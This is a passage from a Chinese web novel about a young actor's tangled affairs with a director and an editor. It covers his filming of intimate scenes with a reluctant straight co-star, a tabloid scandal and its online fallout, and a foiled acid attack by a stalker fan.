白宝戎冷静下来,嗅着江林身上的香水味,视线一点点变得坚定又阴狠。 /// 暮光渐熹,太阳逐渐西沉,白宝戎回到酒店,明若卿正坐在客厅处理邮件,就算要退圈也要把接下来的事情都安排好。 他脸色有些苍白,但状态比早上的时候好。 江林笑吟吟地喊了一声:“明叔,我回来啦。” 明若卿视线从电脑屏幕移开,落在江林身上,他像一只明媚的蝴蝶,飘飘然落在他身侧,勾着他的脖子亲吻,亲密地贴着唇舌。 “无聊吗?”江林望着他。 “在处理事情。”意思是并不无聊。 “晚饭吃了没?”江林后颈被明若卿轻轻捏了一下,他笑着问。 “还没。”明若卿有些不适应这般亲密,强装镇定。 “走,一起出去吃。”江林起身,又犹豫:“你的腿是不是不方便?” 明若卿想了想正常走路的确有些吃力,“你和助理去吃吧,我随便” “那我陪你在房间里吃。”江林也坐下了。 两人点好吃食,从前他们两独处的时间不算多,对彼此的了解也不多,共同语言似乎仅限于《依尘传》。 “你今天没戏了吗?”明若卿挺直着背,没有靠在沙发上。 江林闻到了他身上的药味,只是抓着他的手牵了牵,叹气道:“没呢,有夜戏。” “上次卓导那部戏好像还出了点问题,被上面卡住了。” 他闲聊似的提了一嘴,蹙了蹙眉:“啧,明叔您有没有觉得我不应该拍这个男同电影?” 他表现得有些苦恼。 江林这些苦恼在明若卿眼里显得有些小孩子气。 他回握了他的手,语气平淡地说道:“想拍就拍,你不会因为一个选择而整个人生完蛋,你永远都有试错的资本。” 江林缓慢地眨了眨眼,唇角勾起笑,从眼底溢出笑意,直勾勾看着明若卿,明若卿不闪不躲地看着他。 “明叔,你知道我没安全感的,你不是在哄我吧?” “不是,哄你干什么?”明若卿在知道江林个性和自己的心意后,就没想过永远当个明导,在娱乐圈导演好像是顶天的存在,但远远不够的。 所以他也只是顺着杨正以的意思退圈而已。 两人抱作一团,在门铃响起的那一瞬,江林的裤子差点都被明若卿拽掉了。 明若卿一瘸一拐地去开门,外面小庄提着食物,明若卿低声道谢,拿过食物。 江林裸着上半身,牛仔裤松松垮垮摞在腰间,流畅有力的人鱼线,蜿蜒往下。六块腹肌清晰分明,牛仔裤边沿露出一点黑白的内裤边沿,浅青色的青筋微微凸起,顺着裤腰消失,劲瘦有力,肩宽腰窄。 他嘴唇红艳艳的,黝黑双眸瞧着极为湿润,他走到明若卿身侧,先凑近咬了一口他的嘴唇,在他动手抓住他的前一秒松开。 “不能继续亲了,我要吃不饱饭了,还差二十分钟我就得去剧组了。” 闻言,明若卿没再继续,眼神扫过他的腰,视线克制地离开,他将一盒盒打包的食物揭开,香味扑鼻的食物,特意从旁边最喜欢吃的餐厅打包回来的。 江林火速吃完然后离开,明若卿见他离开,心中有些温暖和熨帖,知道他是特意来陪他吃饭的。 /// 江林和叶轶的关系通过快一个月的相处,早从之前的生疏变得熟悉,还能配合拍一些暧昧的花絮,用于宣传。 嘴也是翻来覆去亲了个明白,叶轶从一开始的陌生和抗拒转变成无奈和麻木,江林安慰他,这嘴巴是不分男女的。 “操,导演咱们真要拍得这么大尺度?能播吗?”叶轶道具组的布景,再次忍不住发出疑问,浑身鸡皮疙瘩全冒出来了。 “现在大尺度的电影还少?”辛珂用少见多怪的眼神看着他,能不能播是一回事,她必须得拍。 江林看着片场那张抓人眼球的床,难得嘴角也一阵阵抽搐,他还真没当这么多人的面拍过床戏啊。 “不是导演,我们演的是正规电影吧?”叶轶挠了挠后脑勺,整个人焦虑得很。 辛珂再次肯定地看着他:“是的,叶老师最好争取能一次过,我会严格要求的。” “靠,我尿急了,上个厕所。”叶轶第一次因为拍一场戏,紧张得想要撒尿。 “我也去吧。”江林是因为水喝太多了。 两人结伴去了厕所,叶轶大大咧咧的吐槽道:“不是,这真的合理吗?两个男人怎么还拍出来,我和女的都没拍过这种” “我也没拍过。”江林两人视线稍稍对上,转而又飞快移开视线:“但咱们是专业的演员” 叶轶心中骂得很脏,如果不是靠演员的信念撑着,他早撂担子不干了。 公共厕所,江林想着叶轶这么恐同大概会空一个位置上尿尿吧,而叶轶也觉得江林应该会注意分寸,保持距离吧。 结果两人便在相邻的小便池站定,有遮挡但是不高,两人个高,垂眼就能扫到。 叶轶差点尿都尿不出来了,一哆嗦便听见水声了,江林站得笔挺挺,仿佛要入党 叶轶脑海中闪过叶成哲的欲罢不能的低沉克制的呻吟,视线控制不住地往旁边扫去,被江林抓了个正着。 “不是,叶老师你在看什么?”江林盯着他,倒不是害羞。 “有点好奇,你和叶成哲是怎么认识的?”叶轶飞快转移话题,视线也移到了江林脸上。 “他算是我半个老板。”江林就算和他谈及叶成哲也丝毫不尴尬。 “你蛮长的诶。” 叶轶刚想歇一口气,听到江林的下一句,吓得水线都变了一个道,他嘴角抽了抽:“你们这类群体都像你这么大胆吗?” 江林似有些好笑:“叶老师你真的很歧视同性恋啊,不说同性恋,你小时候没有和兄弟比过长短吗?” “操。”叶轶骂了一句,还真他妈的比过,他还是傲视群雄的那个。 “好啦,叶老师你太大惊小怪了,其实你把我当作正常拍戏的搭档就好,我又不会对你做什么。”江林转身离开,洗手之后率先离开。 叶轶只觉得江林说得简单,他平时兄弟也不会和他拍吻戏,吃嘴子,舔舌头 他想一想又是一顿头皮发麻。 江林熟悉了一下剧本,其实没什么需要熟悉的,这场是床戏,主角之间唯一一次床戏描写,也是两位主角之间的第一次。 主角两人一起洗澡,互相帮助,你侬我侬的。 辛珂让片场其他闲杂人等都离开,尽量给两人提供一个私密一点的环境。 其中陆沉持为了救陆宸受伤,右手肩膀骨折,脸上也都是伤,陆宸在他的保护下只是受了些轻伤。 江林穿着破破烂烂的衬衣,衣领上还沾着血,头发乱糟糟地精英形象不保,化妆师正在给他补妆,他看了一眼打着石膏的叶轶,他脸上没什么表情,硬朗的面孔显得有些凶悍,左边眉尾还是断眉。 /// “那些人到底是谁?”陆沉持两人从医院回来,才闷声质问道。 陆宸一路都是一言不发,此刻才蹲在陆沉持腿边,趴在他膝盖上,知道自己害他受伤,显得有些乖顺:“我们公司的会计,挪用公款被我送进去了,那些找麻烦的人是他儿子找来的。” “”陆沉持无话可说,陆宸是在他眼皮子底下差点被欺负的,他自然不能坐视不理。 而此前陆沉持正在和陆宸冷战,因为陆沉持依旧坚持自己配不上陆宸,觉得陆宸应该走正道,有正常的生活娶妻生子。 陆沉持是一个沉默懂事的兄长,陆宸是任性的小弟。 陆沉持时常想,陆宸不懂事,难道他还不懂事吗?不能一时心软害了陆宸一辈子。 但他不知道的是这场意外也是陆宸一手策划的。 “哥,又害你受伤了。”他语气中似乎有着愧疚。 “这些都是小伤。”陆沉持揉了揉眉心,就算肩膀骨折,也能说是小伤。 “你先回去休息吧” “回去休息,您不怕我再遭遇意外吗?”陆宸问。 最终陆沉持还是担心他的安全,让陆宸住下了。 之后的事情就一发不可收拾了。 陆沉持自己艰难地在房间冲澡,正背对着门口,手臂包裹着塑料防水,背部的肌肉线条在水线下蜿蜒流下,身上带着伤痕,身材很好。 门无声打开,陆宸从身后抱住了陆沉持。 陆沉持大惊失色,两人肉贴肉没穿衣服,用手肘怼向陆宸,陆宸只是轻轻痛呼一声陆沉持就舍不得使劲了。 “陆宸!你干什么?”陆沉持转头质问道,语气严厉,表情难看。 “哥,我只是来帮你洗澡而已。”陆宸身上也被淋下了温水,冷白的肌肤和他哥小麦色的肌肤形成鲜明的对比,像是娇生惯养的少爷。 “滚你爸的蛋,老子不需要。”陆沉持凶得要命,只把陆宸的手扒开。 陆宸松开手,只是轻轻抓着他的手指,神情似乎有些委屈:“哥,你别凶我,在这个世界上我只有你这一个亲人了。” 这话就是戳在陆沉持心窝,因为他才是真的孤家寡人一个。 陆宸借机吻住他的唇,两人在水下亲吻 /// “再来一条。”辛珂拧着眉,看着镜头中两人的表现。 “江老师你再主动一点,叶老师前面比较被动,后面要反客为主,不能再继续被动了,你也是一个血气方刚的男人” “我操了,我当然知道我是个血气方刚的男人。”叶轶低低骂出声,但他有点过不去心中那道坎。 两人重拍了七八次了,床单都滚湿了,但辛珂还是不满意。 江林心情有些烦躁,毕竟这种激情拍多了,对于他的心理和身体都是蛮大的挑战,手指都被水泡白了。 他知道是因为叶轶过不了心中那道坎,所以一直进入不了状态,两人之间一直隔着一层情绪不对劲。 “导演,我们休息二十分钟吧,我有点饿了。”江林叫住辛珂提议道,头发湿漉漉地垂着,他将刘海捋上头,变成了背头,五官更加立体分明,眉眼间带着淡淡的燥意。 辛珂点了点头,让他们休息一下。 江林看向旁边脸色不太好的叶轶,他也面露难色,这算是他职业生涯全所未有的难关了,他非科班出身,曾经是参军,后来退役后进入演艺圈。 叶轶是体验派的演员,之前所有的戏他都能找到其中共通点,带入角色。 但这部戏他似乎有些难以代入,他对男同的警戒心很强。 叶轶余光察觉到江林的视线,偏头瞧过去,江林紧紧裹着一件睡袍,露出大片光洁的胸膛,眼神相较之前的温和更加初露点锋芒,他冲着他挑了挑眉,朝着他走近。 “叶老师,一起去抽根烟吗?”江林笑着说道。 叶轶也不好拒绝,毕竟他也察觉到了自己的情绪不太对,拖累的江林不断重拍。 两人前后脚进了化妆室,辛珂瞧见了两人的动向,却没有出声阻止。 “啧,实在不好意思,我”叶轶挠了挠头,他的头发没江林的长,随便擦几下便半干不湿了。 江林打断他的话,转身看着叶轶,打断了叶轶的话,唇角勾着笑:“没关系,谁都不想这样。” “但你似乎遇到了问题,也许我可以帮你。” 叶轶怔了怔,不知道为什么看向江林冷静的黑眸,他有些发怵,下意识地想要拒绝:“不用,我会调整” “叶老师,那天我和叶成哲就是在这里做的。”江林再次打断他的话,若是平时有人这样没礼貌打断他的话,叶轶高低得生气,给他两耳巴子。 但他今天有些心虚,也有些惊讶他会说这些。 “叶老师这么讨厌同性恋,可是那天你有反应,你听着两个同性恋做,你有反应” 他重复这个事实,如果不是叶轶连累他,他才不会多此一举帮他找自己性取向。 叶轶头皮发麻,往后退了两步,眼前闪烁着两人抱在浴室中拥吻的画面,江林的五官无疑是极具攻击性的,让人看不见其他。 “你在胡说八道什么”叶轶第一次这么慌。 “你找不到感觉,我帮你。”江林按住门,没让他逃走,他戳穿叶轶那层玻璃纸:“你不会真的觉得你是直男吧。” “我不是,难道你是吗?”叶轶没忍住斥声反驳,胸膛起伏不定,肌肉都微微紧绷起来。 “我不是,你也不是。”江林表情堪称冷漠,他见他姿势防备,无所谓的笑了笑:“我不会碰你一根手指,放心好了。” 叶轶拧起眉,“你到底想做什么?” “你知道男人之间怎么寻求快感吗?”江林在他耳边低声说着,根本不需要他的回答:“有从心理上,也有从身体上” 叶轶身体逐渐僵硬,听着江林越来越露骨的话,双眼从震惊变成黑沉克制,他声音好听,就算说着些难以入耳的骚/浪话,也显得清哑好听。 安静的房间奏响乐章,一字一句都清晰可闻地窜进叶轶的耳朵里,他从未遭遇过这种攻击,心理防线在一帧一帧地被江林攻占。 江林面无表情的Dirty Talk,主角从叶成哲变成了他。 叶轶咬紧了牙关,呼吸逐渐急促,原本直视江林的视线变成了飘忽,浑身的每一寸肌肉随着江林口中的描述一点点紧绷。 他应该逃走的,但是江林说,如果是直男为什么要害怕这些? 江林靠在门边,越发凑近叶轶的耳边,声音也越来越磁性低沉,“叶老师,你的腿部肌肉很紧,应该是一直锻炼的结果,身上的肌肉比我的都硬” 叶轶脸颊逐渐浮现出一丝潮红,他突然转身就要逃,江林按住他的手腕,两人互相之间角力。 “外面全是人,您确定要离开吗?” 叶轶动作一顿。 江林视线微微扫过他突然紧绷的双腿,他终于露出一点恶趣味的笑容,近距离贴在叶轶耳廓,若是平时叶轶早就应激般躲开,但这次却仿佛被定住了,刷新了自己的三观。 “抱歉,叶老师你自洽的速度实在是太慢了,我不得不帮帮你。”江林最后又低笑一声:“还有叶老师你和叶成哲一样快。” 江林离开了化妆室,将空间留给怀疑人生的叶轶。 他脸颊的红色尽数褪去,下颌紧绷,脸色难堪,如果论资排辈,叶成哲还要叫他一声小叔。 如果叶轶一开始知道江林和叶成哲是这种关系,他必不可能答应和江林拍这个爱情戏。 /// “哥你主动亲亲我好不好”江林主动抓住叶轶的肩膀,睫毛上有簌簌而下的水珠,镜头下的他唇红齿白,红着眼看着眼前男人。 叶轶也像是陆沉持一般被逼到了绝境,江林眼神在催促他,耳边又响起魔音绕耳的语调,强大的背德感让他浑身发麻。 他还天真的以为江林是叶成哲的男朋友呢。 所以接吻克制闪躲,床戏疏离冷漠,想要保持距离,结果被江林逼入死胡同。 叶轶捧住江林的脸,两人在花洒下接吻,努力含着对方的唇,饥渴地汲取着彼此的呼吸,有荷尔蒙在空气中一点点发酵。 辛珂想要那种感觉逐渐冒出头来,两人像真正的情侣渴求的彼此。 摄像头铺天盖地地对准着床上纠缠的两人,叶轶手按在江林的腹肌上,两人仅仅穿着内裤,彼此摩擦着。 叶轶低头看着躺在他身下的青年,他散乱的头发沁湿了床单,扑散在白色的床单上,冷白的肌肤上只有两处鲜明的红色,一处是泛红的眼皮,一处是被吻红的唇。 江林唇角弯着笑,仿佛邀请来人的品尝,他伸手抚摸着叶轶身上更加块状分明的板砖肌肉,他的身形比江林更强大些,手臂肌肉紧绷,他跪在床上,低头看着江林。 “哥哥。”江林睁着一双清冷禁欲的眼,黑白分明的眼珠像诱惑又像亲情的依赖。 叶轶喉结滚动间,低头咬住了他的喉咙,他狠狠说道:“你想过咱俩这样怎么面对列祖列宗吗?” 江林手臂摊在床上,轻笑说道:“哥哥,你忘记了是你亲手杀死我父亲的吗?” 叶轶停住了所有动作,江林察觉到喉间湿软的触感,声音更哑了:“哥哥从小就在照顾我呢,我不在乎别人,只在乎你” 镜头中叶轶的手在他漂亮有力的身体流转,抚摸,搓揉 “咔!” “这条可以,再保一条。”辛珂这声清脆的女声让在场所有工作人员都松了一口气,江林和叶轶也从床上分开。 两人气息都有些不稳,用浴巾裹住身体,江林眼睛因为洗了这么多次澡,水漫入眼睛,逐渐发红,瞧着表情越发冷淡。 叶轶捏紧了拳头,掐了掐自己的大腿,让痛感将不该升起的念头压下去,牙关都咬碎了。 “叶老师表现不错,继续努力。”江林抱着双臂,神情比他平静许多,却也能隐约见到眉眼间有情绪在起伏。 叶轶半点好心情都没有,两人拍到半夜才结束,江林回到房间,明若卿还在处理工作,见他回来就往怀里扑,便先关了电脑,抱住他的腰。 “明叔,我拍了一晚上吻戏,直冒火”他有些委屈似的告状,在他唇角亲了好几下。 明若卿有些犹豫却也没拒绝,包容地抱着江林有些急躁的身体 江林可没多少顾念明若卿受伤的身体,事后有些假惺惺地摸了摸明若卿的膝盖,还有后背重新沁血的伤疤,他趴在明若卿颈侧,轻声道歉:“对不起,对不起,我又闯祸了” 明若卿只是蹙了蹙眉,没有怪他,毕竟这也是他自己愿意的结果。 “没什么大事。” 江林露出乱糟糟又毛茸茸即视感的头发,像个红着眼眶的小猫,抓着他的手诉苦,无尽的蛐蛐人,知道明若卿不会乱说:“我那个对手演员根本不会演戏,浪费了好多时间,他好心好意帮他,他还瞪我,凶我呢” 明若卿认真整理他的头发,心平气和地说道:“每个演员擅长的戏份不一样,像叶轶这种正剧出身的演员,演感情戏多有不足倒也正常。” “也是,毕竟不是谁都像我一样是天才!”江林笑眯眯说道,顺势在他脸颊处亲了亲,“我先去洗澡,等会帮你重新涂药吧。” “我真不想洗了,真的手都泡肿了” 他一边嘀咕着,一边从明若卿怀里起身。 江林去浴室洗澡了,明若卿移动了一下酸麻的双腿,虽然难受,却也能忍,拿起手机刷了一下,便瞧见了江林的热搜。 狗仔爆料了一张照片,依稀可见的是江林和一个陌生男人在车库接吻的照片。 明若卿原本轻松甜蜜的情绪和浅笑的表情瞬间凝结住,刚刚两人的温存耳语就在眼前,彼此之间仿佛亲密的恋人。 他身为娱乐圈的前辈,对于江林演戏拍吻戏虽然内心不太舒服,却还是能接受良好。 但这明显不是在拍戏,所以在上/他之前,江林也许和其他男人在车里有过 明若卿脸色又煞白了,情绪降入谷底,连身后的脚步声都没听见,直到江林从身后环抱住他,探头看他的手机,嘴里笑着:“明叔,你在发什么呆啊” 手机上的照片昏暗中依旧能看见江林那张清晰的脸,而另外一方因为光线原因看不清五官,却可见其性别。 江林却半点不慌张,面对明若卿冷若冰霜的表情,捧着他的脸,凑到他侧脸亲了亲,顺势拿走了他的手机,低声道:“我和他就是玩玩儿而已,你别生气” 第92章 “”明若卿眼前阵阵发黑, 可能是伤口恶化的缘故,嘴唇紧抿。 江林将他的手机扔在床上,那双眼毫无愧疚, 轻声解释道:“如果明叔想的话,也可以找除我之外的人。” 他说这种话, 就是认定了明若卿不会做出这样的事情。 明若卿推开他的手臂,转身就要离开他的房间,江林拽着他的手腕, 语气有些低落:“您说要陪我的呢?” “”明若卿再怎么清醒克制,也无法真的忍受江林的放荡荒唐, 真的喜欢一个人,哪里能忍他还有别人? 江林见他面色紧绷,神情冰冷,便不再阻拦。他松开手,腰上紧紧挂着一条浴巾,脸上笑意也消失不见, “明叔要走就走吧, 我也拦不住你, 只是以后也不用来找我了。就像你弟弟说的那样过上‘正常’人的生活,没必要和我这样的人纠缠不清, 白白毁了自己的清白呢。” 他说起狠话来, 可比明若卿厉害,毫不留情,不过是仗着明若卿喜欢他而已。 明若卿朝着门口走了两步, 脚下却沉重无法再移动,江林的电话适时地响起。 江林从床头柜上拿起手机。 “江遂,你在干什么?你他妈的跟男的鬼混上热搜, 让我来给你压?”叶成哲在那头语气有些气急败坏的,郁闷又生气,砸落桌上的咖啡杯。 江林背对着明若卿,去关窗户,冷风拂面,他冷声笑道:“压不压的有什么关系,我本来就是同性恋。” “你在对我发什么脾气?”叶成哲几乎能从一句话的语气中察觉到这人的真实情绪。 “谁惹你找谁去。” “到底发生了什么,你别冲动” 江林拉长语调噢了一声,“没人惹我叶主编下班了吗?不然你现在来找我吧,我亲自和你解释一下” 话音没有落下,明若卿便抓住了江林拿着电话的手机,阻止他继续说下去。 江林转头望过去,明若卿这样沉稳厚重的人被他逼红了眼眶,脸上的肌肉都在微微颤抖,神情因为情绪有些扭曲。 “你说什么?江遂你说清楚!”叶成哲的声音在电话中清晰地传来,明若卿冷着脸和江林对视。 江林反手握住他的手腕,电话换到另外的手握住,低声开口:“没事,这事儿我自己会回应,您早点休息。” 他说完,不管破口大骂的叶成哲直接挂断了电话。 明若卿问江林:“你一定要这么逼我吗?” 江林凑近明若卿,盯着他通红悲伤的眼睛,勾起毫无温度的笑:“那您让我怎么办?让我许下我不可能实现的诺言吗?” “您需要的是那种满嘴谎言的爱情?您点点头,我也能做到的,毕竟我是个演员。” 这才是江林,真正的江林,眼中只有利益,冷漠又滥情 “”明若卿感觉自己陷入了无法脱身的怪圈中,名为爱情的蛛网让他无法挣脱:“我们都冷静一下” 江林没松手,勉强弯了弯眸子,伸手揽着明若卿的肩膀,声音闷闷的:“我保证以后和您在一起的时候不提别人好吗?” “我刚刚故意气你的,没想让叶成哲来。” 明若卿拳头捏紧,手臂肌肉紧绷又放松,声音充满了疲惫:“我先去清理一下。” “嗯,不准生气了。”江林在他唇角亲了几口。 明若卿勉强没说话。 倒也只有江林能这么折磨明若卿了,他进入浴室清理的时候,浑身都是冷的,有一种明知是旋涡却还要往里闯的悲凉感。 那个热搜居然高居不下,江林很快作出了回应,发了微博。 是江遂呀:【一直有爱人。】 他从没有立过单身人设,他暂时也不怕得罪粉丝,毕竟目前为止他所有的资源都是靠自己抢来的。 而他也低估了《依尘传》的影响力,没想到微博一发,瞬间便有几千条评论,其中说什么都有。 他的回应瞬间便冲上了热搜。 【恶心,之前那么炒cp,原来都不是单身啊。】 【恶心什么,我请问呢?配合剧宣有什么错?】 【我哥从来没立过单身人设,磕cp都是磕的氛围和自己幻想的感情,难道还真有人觉得我哥和他们在一起了?那我哥可太忙了,cp太多了。】 【只要江遂不犯法,我会溺爱。】 【不是,到底为什么这样的劣质艺人还在蹦跶,互联网没有记忆!】 【爱豆谈恋爱?就该立正挨骂。】 【江林杀人了还是放火了,逃税了还是逃逸了?不要受害者有罪论了。】 【卓智明那部剧为什么抬不上来,不就是因为江遂审核不通过?粉丝别洗了。】 【趁乱泼脏水的,你正主必遭反噬。】 江林的热度可见一斑,许多人都开始着急了,某些同类型的流量男星不遗余力地泼脏水倒油,不为别的,娱乐圈的蛋糕只有这么大,谁都不想让江林真的起来。 江林的粉丝人均战斗粉,硬是将人喷得不敢说话还有工作室买的水军下场,微博广场的评论逐渐趋向一致。 而一些该脱粉的也全部脱粉了,大部分也没舍得脱粉回踩。 【纯路人,还在上升期敢公布恋情的艺人还是值得钦佩的。】 【期待哥哥官宣!】 【我认识江江的时候,他就是演员,别太关注演员的私生活谢谢!】 【专注作品,期待江江新电影和电视剧。】 大部分cp粉早在江林出事,另外正主避之不及的时候选择了脱粉或者被提纯,并没有太影响到江林。 叶成哲眼见着风评逐渐好转,让江林的宣传经纪人紧急控评,转念一想便气得够呛。 江林和别的男人绯闻,居然要自己连夜澄清控评! 叶成哲给江林打了电话,江林根本没接。 他又给小庄拨去电话,电话响了许久才被慢吞吞接起,小庄支支吾吾,最终被叶成哲这个老狐狸套了话,才知道明若卿居然在江林那儿住着。 叶成哲咬着烟,瞬间浑身都不得劲了,若是真的说起来,他还真没资格生明若卿的气。 原本就是他主动挖的墙角,虽然是他和江林一丘之貉,狼狈为奸,一拍即合,但到底江林先是明若卿的人。 他也就纳闷了,抽了一晚上的烟都没整明白,明若卿到底是怎么肯继续跟着江林乱搞的,他这样古板又清高的人,应该最瞧不上江林这种才对 白宝戎是后半夜才看见热搜的,原本也想压热搜的,后来又出于私心改变了主意,甚至砸钱买了热搜。 他看着江林的回应,又觉得有丝丝熨帖,那人把他放在爱人的位置。 虽然觉得这个回应可能是他自己自作多情对号入座了 而这边江林等明若卿从浴室出来,两人又在一起温存了一会儿,算是将人安抚好了,明若卿拿着手机也刷到了江林的回应。 “你这是不准备要女友粉了?”明若卿垂眼看着枕在自己身上看剧本的青年。 “这个回应很早之前就想发了,我现在感情生活一片废墟,与其被人爆料,不如主动承认。”江林回答道:“我需要事业粉,需要观众,趁着粉丝群体不算庞大,先自己爆料算了。” “这样的举动很冒险,而且你还是爱豆出身。”明若卿理性地分析着。 “但我爱豆的身份只维持了半年左右,因为钱上的那个节目,一直以来也是以炒cp出名的,后来叶成哲赔付了违约金,桃子平台的经济合同早就解决了”江林将剧本放在自己肚子上,偏头看着明若卿:“风险很大,但毕竟我现在没靠粉丝得到资源,倒也没那么担心。” 明若卿问:“你的爱人是那个和你车内拥吻的男人?” 江林笑了起来,俊脸靠近明若卿,圆润的双瞳盯着他的眼睛,道:“是你,明大导演,我的伯乐。” 明若卿抬手勾住他的脖子,和他耳鬓厮磨了一瞬。 /// 明若卿在江林酒店住了一周左右便离开了,离开那天江林红着眼依依不舍,让明若卿一阵心软。 刑侦剧最近才官宣,的确是主演团队里有人出了问题,却不是江林,而是有人逃税,现在已经紧急补全,重新被抬上来。 江林和叶轶的电影也接近尾声。 “晚上一起去吃饭?”叶轶主动开口,“你可以带上你的助理。” 叶轶从前在剧组,他和主演们聚餐是常事,他这人豪放好客,做事大大咧咧,是大老纯爷们,但在江林这件事上却有些扭捏。 总觉得自己如果约了江林,就是对自己性取向的背叛。 “好啊。”江林脸上还带着妆,闻言抬眼看向叶轶,温和地笑笑。 床戏之后,叶轶的感情戏突飞猛进,两人拍戏的进度也快速提升,谁都没再提那天的事儿。 江林全副武装,戴着口罩,小庄给他撑着伞,他直接坐进了叶轶的商务车里,他前脚坐下,后脚叶轶便也上了车。 小庄坐在副驾驶,司机是叶轶的助理。 “你演技不错,年纪看着也很小对了,你多大了?”叶轶主动找话题,看着那张卸妆后过分年轻的脸。 “今年二十一。”江林回答。 听到这个回答,将近三十的叶轶石化了一瞬,眼底闪过不自然,爽朗笑道:“真的好年轻哈哈哈。” 谁能想到年纪这么轻的青年演戏爆发力这么强?情绪拿捏到位,像个身经百战的老演员。 “还行吧,就比叶老师年轻八岁。”江林接话,“然后和叶老师演情侣。” 叶轶嘴角抖了抖:“你真的不管我们直男的死活啊。” “叶老师还觉得自己是直男?”江林笑着调侃:“我真的佩服叶老师的信念感。” “江老师有没有听过一句话啊,掰弯直男,天打雷劈的”叶轶搓了搓手指,骂骂咧咧说道:“就是怕你他妈的跟我说那些肉麻起鸡皮疙瘩的话,我这几个月都不敢跟你单独约饭。” 叶轶其实不是扭捏的人,这次约江林就是想把话坦白了说。 江林无奈耸肩,直白地说道:“没办法,我就是这样的人咯。” “咱俩都是男人,叶老师对我没有心动过我是不信的。” 江林说的这话,让车内其他三个人都冒出一身冷汗,这种事情是能抬到明面上来说的? 叶轶没控制住骂了脏话:“我操了,江遂你要说晚上梦没梦见过你,还真梦到过,就那天咱俩拍完戏,不过你这长相,拍的这部电影,梦见也很正常吧。” “但咱们都是男人,有时候刺激性的欲望和感情无关啊。” 江林微微一笑,又问出一个冒昧的问题:“是我掰你腿,还是你掰我的?” 他似乎很好奇,一双眼直直看着他。 叶轶唇角微笑的弧度有些僵硬,一个急刹,两人身体不由自主地往前倾,遇见红绿灯,助理连连道歉:“刚刚有车在前面突然停下” “不是,这也要说吗?是不是太过分了。”叶轶伸手往江林肩膀上一锤:“你别捉弄人了,明知道我不吃这套。” 江林收敛调笑,刚刚确实是故意的:“那好吧。” “你觉得这部电影能爆吗?”叶轶之前拍的大多都是电视剧,有两部电影也无人问津。 “有叶老师在,当然没问题。”江林漫不经心地回答。 “你和别人说话都这样吗?我真鸡皮疙瘩起来了。”叶轶对着江林展示自己的手臂,上面竖起的寒毛。 “夸你也不行?你也抖m啊,想要挨骂?”江林翻了个白眼。 “我也?”叶轶抓住了话题中的重点。 江林斜眼瞥他一眼,唇角泛着意味不明的笑,叶轶感觉大事不妙,刚想阻止他说话,但已经来不及了。 “叶成哲就是咯。” 叶轶静默一瞬,他和这个侄子虽然不熟,但也是血缘亲人,“你知不知道叶成哲是我侄子?” 江林有些惊讶,轻轻挑眉:“我还真不知道你们有这层关系。” “完蛋了。” “你不会跟家里告状吧?然后我就被叶家封杀,或者给我甩几个亿让我离开叶成哲?” 他越说,脸上笑容越大,给自己说开心了。 叶轶打破他的幻想:“不会,我大哥早几年就死了,现在当家的是叶成哲的哥哥叶成功。叶成功是个弟控就算叶成哲把天捅出一个窟窿,他也只会学习女娲,把他弟弟捅破的天补好。” “哇哦。”江林没什么感情的说道:“你们关系不好?” “还行吧。”叶轶十八岁就进了部队,二十五岁才退伍,关系很一般。 见江林不以为然,叶轶出于同事之间的关心提醒道:“叶成哲这人能别招惹还是别去招惹他。” “他怎么了?”江林来了兴趣。 “从小就是小霸王,性格和他舅一模一样,睚眦必报,整起人来毫不手软。我比他大几岁,揍过他一顿,他记仇记到现在。”叶轶亲眼见过叶成哲乖戾的个性,只是这几年沉淀下来,没了之前的凶狠。 “还有这一茬,难怪你们当作不认识呢。”江林笑眯眯说道。 “最好谁也别搭理谁,臭小子轴得很。”叶轶拧着眉一顿骂 两人度过了一顿还算愉快的晚餐,期间插科打诨,关系熟络起来,叶轶知道江林就是一张嘴说不出什么正经话,吊儿郎当地促狭又爱捉弄人。 江林戴着口罩,坐在包厢旁边等着服务员来结账,目光透过门散漫扫过大厅内的人,便见某个带着口罩的女生,手上抓着透明的玻璃杯,冲冲朝着叶轶两人走来。 江林眯起眼,脑海中闪过一丝危险,视线和女生的眼睛对上,女生眼神中满是怨恨狠绝。 她动作很快,眼见着走进包间,大喊着叶轶的名字,然后怒骂道:“去死吧,叶轶!” 江林眼疾手快地拽着叶轶的手臂,将人拽开,桌子椅子发生凌乱的碰撞声。两人带的保镖也察觉出问题,连忙抓住女生的手,导致她的玻璃杯的硫酸没有泼中人。 叶轶吓了一跳,手臂还被江林拉着,转头便听见女生凶狠地谩骂:“叶轶你要不要脸?跟男人卖腐?你是不是脑子有问题,为什么要接这种恶心的剧?神经病!真恶心!” 这人曾经是叶轶的私生饭,心理上一直觉得自己是叶轶的女朋友,直到江林和叶轶的吻戏花絮被‘不小心’曝光,让她瞬间崩溃,一直在等待弄死叶轶和江林的机会。 叶轶的冷着脸,低声骂了一句:“真有病,我靠。” 江林却觉得正常,毕竟世界上不是每个人都正常,偏激的人很多。 他们报警把人抓走了,这顿饭吃到警局,都做了笔录才离开。 “真晦气。”叶轶呸了一声,一开始他不知道私生的存在,只把他们都当作粉丝。后来直到一天他在自己床底发现敲门进入的人,在他房间装了摄像头,甚至在他饮水机中下药 后来这件事发生之后,叶轶才让保镖跟着,也换了保密性更强的住所。 江林五分钟后才出来,不见倦色,晚风下眉眼颇为冷淡,浓眉大眼,生得好。 “没想到好不容易出来吃顿饭,还闹出这种事情。”叶轶语气带着点歉意。 “没事,大家都不想遇到这种事情的。”江林关上车门,语气很平静。 “今天也要谢谢你,算是帮我了。”叶轶咬着烟,却没点,揉了揉眉心,“以后用得到我的地方尽管开口。” “我会的。”江林露出点笑容。 辛珂连夜给两人打电话确定情况,可不能电影没拍完,两个主演进去了还得了。 她反复确定了没事后,才挂了电话。 /// “艾总,DL春季新品发布会的策划方案。”项目组将方案递到艾璟手中,其中包括品牌文化、设计理念、各种宣传等等。 艾璟没什么表情地翻动着策划书,视线扫过明星拟邀名单,增加热度的招牌,都是一些国内知名明星,大多他都不太认识。 他定定看了三秒,笔尖在上面圈了圈,“再加一个人。” /// 江林杀青那天,天气明媚,春天暖阳,心情美妙,饰演小陆宸的小家伙抱着他的腿哭,家长全都劝不住。 “没关系啊,以后还能再见到哥哥的。”江林摸着他的小脑袋,笑眯眯地说道。 “呜呜,小江哥哥,我会想你的。”小孩儿哭得伤心极了,这么小的年纪就已经知道离别的意义。 江林在剧组的时候经常给这小孩带东西吃,他就记得他的好了。 叶轶挨个和剧组的人拥抱,轮到江林的时候抱得更久些。 “我听金姐说你给我推荐了不少戏?”江林笑着问。 叶轶松开他,扬了扬眉:“是啊,具体要不要选就看你自己了。” 